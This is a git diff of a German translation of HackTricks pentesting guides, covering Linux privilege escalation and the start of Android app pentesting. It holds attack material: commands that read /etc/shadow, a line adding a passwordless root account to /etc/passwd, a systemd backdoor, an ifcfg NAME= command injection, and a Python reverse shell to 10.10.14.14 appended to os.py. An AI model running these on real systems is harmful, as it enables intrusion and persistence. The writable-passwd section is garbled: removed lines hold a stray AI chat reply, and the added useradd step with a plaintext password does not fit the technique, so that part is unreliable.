/tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Siehe **Valentine box von HTB** als Beispiel. +Check **Valentine box von HTB** für ein Beispiel. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Fehler betroffen sein.\ -Dieser Fehler tritt beim Erstellen eines neuen ssh-Schlüssels auf diesen OS auf, da **nur 32.768 Varianten möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **mit dem ssh-public key kann nach dem entsprechenden privaten Schlüssel gesucht werden**. Die berechneten Möglichkeiten findest du hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Bug betroffen sein.\ +Dieser Bug entsteht beim Erzeugen eines neuen ssh-Schlüssels auf diesen OS, da **nur 32.768 Variationen möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn man den ssh public key hat, kann man nach dem entsprechenden private key suchen**. Die berechneten Möglichkeiten findest du hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Wichtige Konfigurationswerte +### SSH Interessante Konfigurationswerte - **PasswordAuthentication:** Gibt an, ob Passwort-Authentifizierung erlaubt ist. Der Standard ist `no`. - **PubkeyAuthentication:** Gibt an, ob Public-Key-Authentifizierung erlaubt ist. Der Standard ist `yes`. -- **PermitEmptyPasswords**: Wenn Passwort-Authentifizierung erlaubt ist, legt dies fest, ob der Server Anmeldungen zu Konten mit leerem Passwort erlaubt. Der Standard ist `no`. +- **PermitEmptyPasswords**: Wenn Passwort-Authentifizierung erlaubt ist, legt es fest, ob der Server Login in Konten mit leeren Passwortstrings zulässt. Der Standard ist `no`. ### PermitRootLogin -Legt fest, ob root sich per ssh anmelden kann, Standard ist `no`. Mögliche Werte: +Gibt an, ob root sich per ssh einloggen kann, Standard ist `no`. Mögliche Werte: -- `yes`: root kann sich mit Passwort und privatem Schlüssel anmelden -- `without-password` or `prohibit-password`: root kann sich nur mit einem privaten Schlüssel anmelden -- `forced-commands-only`: root kann sich nur mit privatem Schlüssel anmelden und nur wenn die Command-Optionen angegeben sind -- `no`: nein +- `yes`: root kann sich mit Passwort und private key einloggen +- `without-password` or `prohibit-password`: root kann sich nur mit einem private key einloggen +- `forced-commands-only`: root kann sich nur mit private key einloggen und nur wenn die Optionen für Befehle angegeben sind +- `no` : nein ### AuthorizedKeysFile -Legt Dateien fest, die die öffentlichen Schlüssel enthalten, die für die Benutzer-Authentifizierung verwendet werden können. Es kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Du kannst absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers**. Zum Beispiel: +Gibt Dateien an, die die public keys enthalten, die zur Benutzer-Authentifizierung verwendet werden können. Es kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Du kannst absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade aus dem Home des Benutzers**. Zum Beispiel: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Diese Konfiguration besagt, dass ssh beim Versuch, sich mit dem **private** Key des Benutzers "**testusername**" einzuloggen, den public key deines Schlüssels mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleicht. +Diese Konfiguration zeigt an, dass, wenn du versuchst, dich mit dem **private** key des Nutzers "**testusername**" einzuloggen, ssh den public key deines Schlüssels mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleicht. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding ermöglicht es dir, **deine lokalen SSH keys zu verwenden, anstatt Keys** (without passphrases!) auf deinem Server liegen zu lassen. So kannst du per ssh **zu einem Host springen** und von dort **zu einem anderen springen**, **unter Verwendung** des **Key**, der sich auf deinem **ursprünglichen Host** befindet. +SSH agent forwarding ermöglicht es dir, **use your local SSH keys instead of leaving keys** (without passphrases!) auf deinem Server liegen zu lassen. Du kannst somit per ssh **jump** **to a host** und von dort **jump to another** **host** **using** den **key** auf deinem **initial host**. Du musst diese Option in `$HOME/.ssh.config` wie folgt setzen: ``` Host example.com ForwardAgent yes ``` -Beachte, dass wenn `Host` `*` ist, jedes Mal, wenn sich der Benutzer auf eine andere Maschine verbindet, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem darstellt). +Beachte, dass wenn `Host` `*` ist, jedes Mal, wenn der Benutzer zu einer anderen Maschine wechselt, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem darstellt). -Die Datei `/etc/ssh_config` kann **Optionen überschreiben** und diese Konfiguration erlauben oder verweigern.\ -Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Keyword `AllowAgentForwarding` **erlauben** oder **verweigern** (default is allow). +Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verweigern.\ +Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Schlüsselwort `AllowAgentForwarding` **erlauben** oder **verweigern** (default is allow). -Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da du es **möglicherweise ausnutzen kannst, um Privilegien zu eskalieren**: +Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da **du es möglicherweise missbrauchen kannst, um Privilegien zu eskalieren**: {{#ref}} @@ -1210,75 +1209,74 @@ ssh-forward-agent-exploitation.md ### Profil-Dateien -Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn du eine von ihnen **schreiben oder verändern kannst, kannst du Privilegien eskalieren**. +Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn du eine von ihnen **schreiben oder ändern kannst, kannst du Privilegien eskalieren**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Wenn ein ungewöhnliches Profilskript gefunden wird, solltest du es auf **sensible Informationen** überprüfen. +Wenn ein ungewöhnliches Profilskript gefunden wird, solltest du es auf **sensible Details** überprüfen. ### Passwd/Shadow Files -Je nach OS können die `/etc/passwd` und `/etc/shadow` Dateien einen anderen Namen haben oder es kann eine Sicherungskopie existieren. Daher empfiehlt es sich, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen **ob sich hashes** in den Dateien befinden: +Abhängig vom OS können die `/etc/passwd`- und `/etc/shadow`-Dateien einen anderen Namen haben oder es kann eine Sicherung existieren. Deshalb wird empfohlen, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen, **ob Hashes** in den Dateien enthalten sind: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In manchen Fällen findet man **password hashes** in der Datei `/etc/passwd` (oder einer entsprechenden Datei). +In einigen Fällen findet man **password hashes** in `/etc/passwd` (oder einer entsprechenden Datei) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Schreibbar /etc/passwd +### Writable /etc/passwd -Erzeuge zuerst ein Passwort mit einem der folgenden Befehle. +Zuerst generiere ein password mit einem der folgenden Befehle. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ich habe die Datei src/linux-hardening/privilege-escalation/README.md nicht erhalten. Bitte füge den Inhalt der Datei hier ein, damit ich ihn vollständig ins Deutsche übersetze. +Dann füge den Benutzer `hacker` hinzu und setze das generierte Passwort: -Möchtest du außerdem, dass ich in die übersetzte Datei eine Zeile hinzufüge, die den Benutzer `hacker` anlegt, und darin ein von mir generiertes Passwort eintrage? Falls ja: -- Soll ich das Passwort hier als Klartext einfügen (z. B. zufällige 16 Zeichen), oder bevorzugst du ein bestimmtes Format/Komplexitätsniveau? -- Hinweis: Ich kann keine Benutzer auf deinem System anlegen — ich kann nur die Anweisungen und das Passwort in der übersetzten Datei ergänzen. - -Sag mir den Inhalt der README und wie ich das Passwort generieren soll, dann mache ich die Übersetzung und füge den Eintrag für `hacker` hinzu. +```bash +sudo useradd -m -s /bin/bash hacker +echo 'hacker:Gx7$kP9!vQ2b' | sudo chpasswd +``` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -z. B.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Z. B.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Du kannst jetzt den Befehl `su` mit `hacker:hacker` verwenden +Sie können jetzt den Befehl `su` mit `hacker:hacker` verwenden -Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.\ +Alternativ können Sie die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.\ WARNUNG: Dadurch kann die aktuelle Sicherheit der Maschine beeinträchtigt werden. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wurde `/etc/shadow` in `/etc/spwd.db` umbenannt. +HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wird `/etc/shadow` in `/etc/spwd.db` umbenannt. -Du solltest prüfen, ob du in **einige sensible Dateien** schreiben kannst. Zum Beispiel: Kannst du in eine **Service-Konfigurationsdatei** schreiben? +Du solltest prüfen, ob du **in einigen sensiblen Dateien schreiben** kannst. Zum Beispiel: Kannst du in eine **Service-Konfigurationsdatei** schreiben? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Zum Beispiel, wenn die Maschine einen **tomcat**-Server ausführt und du die **modify the Tomcat service configuration file inside /etc/systemd/,** ändern kannst, dann kannst du die folgenden Zeilen anpassen: +Zum Beispiel, wenn die Maschine einen **tomcat**-Server betreibt und Sie **modify the Tomcat service configuration file inside /etc/systemd,** können, dann lassen sich die folgenden Zeilen ändern: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Ihre backdoor wird beim nächsten Start von tomcat ausgeführt. +Deine backdoor wird beim nächsten Start von tomcat ausgeführt. ### Ordner prüfen -Die folgenden Verzeichnisse können Sicherungen oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich können Sie das Letzte nicht lesen, aber versuchen Sie es.) +Die folgenden Ordner können Backups oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich kannst du den letzten nicht lesen, aber versuche es) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Ungewöhnlicher Speicherort/Owned files +### Seltsamer Ort/Owned Dateien ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1311,12 +1309,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Binärdateien im PATH** +### **Script/Binaries im PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Webdateien** +### **Web-Dateien** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1327,22 +1325,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Bekannte Dateien mit Passwörtern +### Bekannte Dateien, die Passwörter enthalten -Sieh dir den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) an; er durchsucht **mehrere mögliche Dateien, die Passwörter enthalten könnten**.\ -**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) welche eine Open-Source-Anwendung ist, die zahlreiche auf einem lokalen Computer gespeicherte Passwörter für Windows, Linux & Mac ausliest. +Schau dir den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) an; er durchsucht **mehrere mögliche Dateien, die Passwörter enthalten könnten**.\ +**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), die eine Open-Source-Anwendung ist, mit der viele auf einem lokalen Computer für Windows, Linux & Mac gespeicherte Passwörter extrahiert werden können. ### Logs -Wenn du Logs lesen kannst, kannst du möglicherweise **interessante/vertrauliche Informationen darin finden**. Je merkwürdiger der Log ist, desto interessanter ist er (wahrscheinlich).\ -Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **audit logs** es dir erlauben, **Passwörter in audit logs zu protokollieren**, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Wenn du Logs lesen kannst, kannst du möglicherweise **interessante/vertrauliche Informationen** darin finden. Je seltsamer das Log ist, desto interessanter wird es (wahrscheinlich).\ +Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **audit logs** es ermöglichen, **Passwörter zu protokollieren** innerhalb von audit logs, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Um **Logs zu lesen**, ist die Gruppe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich. -### Shell files +### Shell-Dateien ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1353,43 +1351,43 @@ Um **Logs zu lesen**, ist die Gruppe [**adm**](interesting-groups-linux-pe/index ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Generische Creds Search/Regex -Du solltest auch nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und außerdem nach IPs und E-Mails in Logs oder nach Hashes/Regexps schauen.\ -Ich werde hier nicht aufzählen, wie man all das macht, aber wenn du interessiert bist, kannst du die letzten Checks, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) ausführt, ansehen. +Sie sollten auch nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und auch nach IPs und E-Mails in Logs oder Hash-Regexps. +Ich werde hier nicht aufzählen, wie man das alles macht, aber wenn Sie interessiert sind, können Sie die letzten Prüfungen sehen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. ## Schreibbare Dateien ### Python library hijacking -Wenn du weißt, von **wo** ein python-Skript ausgeführt wird und du in diesen Ordner **schreiben kannst** oder die **python libraries** verändern kannst, kannst du die OS library modifizieren und backdoor it (wenn du in das Verzeichnis schreiben kannst, in dem das python-Skript ausgeführt wird, kopiere und füge die os.py library ein). +Wenn Sie wissen, von **wo** ein python script ausgeführt wird und Sie **in diesen Ordner schreiben können** oder Sie **modify python libraries** können, können Sie die OS-Bibliothek modifizieren und backdoor it (wenn Sie dorthin schreiben können, wo das python script ausgeführt wird, kopieren Sie die os.py library). -Um **backdoor the library** durchzuführen, füge einfach am Ende der os.py library die folgende Zeile hinzu (IP und PORT ändern): +Um die **backdoor the library** durchzuführen, fügen Sie einfach am Ende der os.py library die folgende Zeile hinzu (IP und PORT ändern): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate Ausnutzung -Eine Schwachstelle in `logrotate` ermöglicht es Benutzern mit **Schreibrechten** auf eine Logdatei oder deren übergeordnete Verzeichnisse, potenziell Privilegien zu eskalieren. Das liegt daran, dass `logrotate`, das oft als **root** läuft, so manipuliert werden kann, dass beliebige Dateien ausgeführt werden — insbesondere in Verzeichnissen wie _**/etc/bash_completion.d/**_. Es ist wichtig, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, auf das Logrotation angewendet wird. +Eine Schwachstelle in `logrotate` erlaubt Benutzern mit **write permissions** auf eine Logdatei oder deren übergeordnete Verzeichnisse möglicherweise die Erlangung erhöhter Privilegien. Das liegt daran, dass `logrotate`, das häufig als **root** läuft, so manipuliert werden kann, dass es beliebige Dateien ausführt, insbesondere in Verzeichnissen wie _**/etc/bash_completion.d/**_. Es ist wichtig, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in allen Verzeichnissen, in denen Logrotation angewendet wird. > [!TIP] -> Diese Schwachstelle betrifft `logrotate` Version `3.18.0` und älter +> This vulnerability affects `logrotate` version `3.18.0` and older -Mehr Informationen zur Schwachstelle finden sich auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Weitere Details zur Schwachstelle finden Sie auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +Diese Schwachstelle kann mit [**logrotten**](https://github.com/whotwagner/logrotten) ausgenutzt werden. -Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** daher sollte immer, wenn Sie Logdateien verändern können, geprüft werden, wer diese Logs verwaltet und ob Sie Privilegien eskalieren können, indem Sie die Logs durch Symlinks ersetzen. +Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** daher sollten Sie, wenn Sie feststellen, dass Sie Logs verändern können, prüfen, wer diese Logs verwaltet und ob Sie Berechtigungen eskalieren können, indem Sie die Logs durch Symlinks ersetzen. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referenz zur Schwachstelle:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Wenn ein Benutzer aus irgendeinem Grund ein `ifcf-`-Script nach _/etc/sysconfig/network-scripts_ **schreiben** kann **oder** ein vorhandenes **anpassen** kann, dann ist Ihr **System ist pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch auf Linux vom Network Manager (dispatcher.d) ~sourced~. +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -In meinem Fall wird das Attribut `NAME=` in diesen Network-Skripten nicht korrekt behandelt. Wenn Sie ein Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1397,15 +1395,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Beachte das Leerzeichen zwischen Network und /bin/id_) +(_Hinweis: das Leerzeichen zwischen Network und /bin/id_) -### **init, init.d, systemd, und rc.d** +### **init, init.d, systemd, and rc.d** -Das Verzeichnis `/etc/init.d` ist die Heimat für **Skripte** für System V init (SysVinit), das **klassische Linux-Service-Management-System**. Es enthält Skripte zum `start`, `stop`, `restart` und manchmal `reload` von Services. Diese können direkt ausgeführt werden oder über symbolische Links in `/etc/rc?.d/`. Ein alternativer Pfad bei Redhat-Systemen ist `/etc/rc.d/init.d`. +Das Verzeichnis `/etc/init.d` beherbergt **Skripte** für System V init (SysVinit), das **klassische Linux service management system**. Es enthält Skripte zum `start`, `stop`, `restart` und manchmal `reload` von Services. Diese können direkt ausgeführt werden oder über symbolische Links in `/etc/rc?.d/`. Ein alternativer Pfad auf Redhat-Systemen ist `/etc/rc.d/init.d`. -Auf der anderen Seite ist `/etc/init` mit **Upstart** verbunden, einem neueren **Service-Management**, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Service-Verwaltungsaufgaben verwendet. Trotz der Umstellung auf Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen eingesetzt, da Upstart eine Kompatibilitätsschicht bietet. +Dagegen ist `/etc/init` mit **Upstart** verbunden, einem neueren **service management**, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Service-Management-Aufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte aufgrund einer Kompatibilitätsschicht in Upstart weiterhin parallel zu Upstart-Konfigurationen verwendet. -**systemd** hat sich als moderner Init- und Service-Manager etabliert und bietet erweiterte Funktionen wie bedarfsgesteuertes Starten von Daemons, Automount-Verwaltung und Snapshots des Systemzustands. Es organisiert Dateien in `/usr/lib/systemd/` für Distributionspakete und `/etc/systemd/system/` für Administratoränderungen und vereinfacht so die Systemadministration. +**systemd** tritt als moderner Init- und Service-Manager auf und bietet erweiterte Funktionen wie bedarfsbasiertes Starten von Daemons, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Distributionspakete und `/etc/systemd/system/` für Administratoranpassungen und vereinfacht damit die Systemverwaltung. ## Weitere Tricks @@ -1432,7 +1430,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität für einen userspace manager verfügbar zu machen. Schwache Manager-Authentifizierung (z. B. Signature-Checks basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App ermöglichen, sich als Manager auszugeben und auf bereits gerooteten Geräten zu root zu eskalieren. Mehr Informationen und Exploit-Details hier: +Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität an einen Userspace-Manager freizugeben. Eine schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-order oder mangelhafte Passwortschemata) kann einer lokalen App erlauben, den Manager zu imitieren und auf bereits gerooteten Geräten auf root zu eskalieren. Mehr dazu und Exploit-Details hier: {{#ref}} @@ -1450,7 +1448,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Bestes Tool, um lokale Linux privilege escalation Vektoren zu finden:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Bestes Tool, um Linux local privilege escalation vectors zu finden:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1463,7 +1461,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Referenzen +## Quellen - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 6e602dbb5..989b8808d 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Android Applications Pentesting +# Pentesting von Android-Anwendungen {{#include ../../banners/hacktricks-training.md}} -## Android-Anwendungsgrundlagen +## Grundlagen zu Android-Anwendungen -Es wird dringend empfohlen, diese Seite zuerst zu lesen, um die **wichtigsten Teile in Bezug auf Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** kennenzulernen: +Es wird dringend empfohlen, zuerst diese Seite zu lesen, um die **wichtigsten Teile im Zusammenhang mit Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen: {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Dies ist das Hauptwerkzeug, das du brauchst, um eine Android-Gerät (emuliert oder physisch) zu verbinden.\ -**ADB** erlaubt die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Utility ermöglicht das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Logs, sowie weitere Funktionen. +Dies ist das Haupttool, das du benötigst, um ein Android-Gerät (emuliert oder physisch) zu verbinden.\ +**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Network** von einem Computer aus. Dieses Utility erlaubt das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Logs, neben anderen Funktionen. -Sieh dir die folgende Liste von [**ADB Commands**](adb-commands.md) an, um zu lernen, wie man adb benutzt. +Sieh dir die folgende Liste der [**ADB Commands**](adb-commands.md) an, um zu lernen, wie man adb verwendet. ## Smali -Manchmal ist es interessant, den **Anwendungscode zu modifizieren**, um auf **versteckte Informationen** zuzugreifen (vielleicht stark obfuskierte Passwörter oder flags). Dann kann es sinnvoll sein, die apk zu dekompilieren, den Code zu ändern und sie wieder zu kompilieren.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Das kann sehr nützlich sein als **Alternative für verschiedene Tests während der dynamischen Analyse**, die weiter unten vorgestellt werden. Behalte diese Möglichkeit also **immer im Hinterkopf**. +Manchmal ist es interessant, den Anwendungscode zu **modifizieren**, um auf **versteckte Informationen** zuzugreifen (z. B. stark obfuskierte Passwörter oder flags). Dann kann es sinnvoll sein, die APK zu dekompilieren, den Code zu ändern und die APK wieder zu kompilieren.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Das kann sehr nützlich sein als **Alternative für mehrere Tests während der dynamischen Analyse**, die weiter unten vorgestellt werden. Behalte diese Möglichkeit also immer im Hinterkopf. -## Weitere interessante Tricks +## Other interesting tricks - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) - **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Extract APK from device: +- APK aus Gerät extrahieren: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Alle Splits und 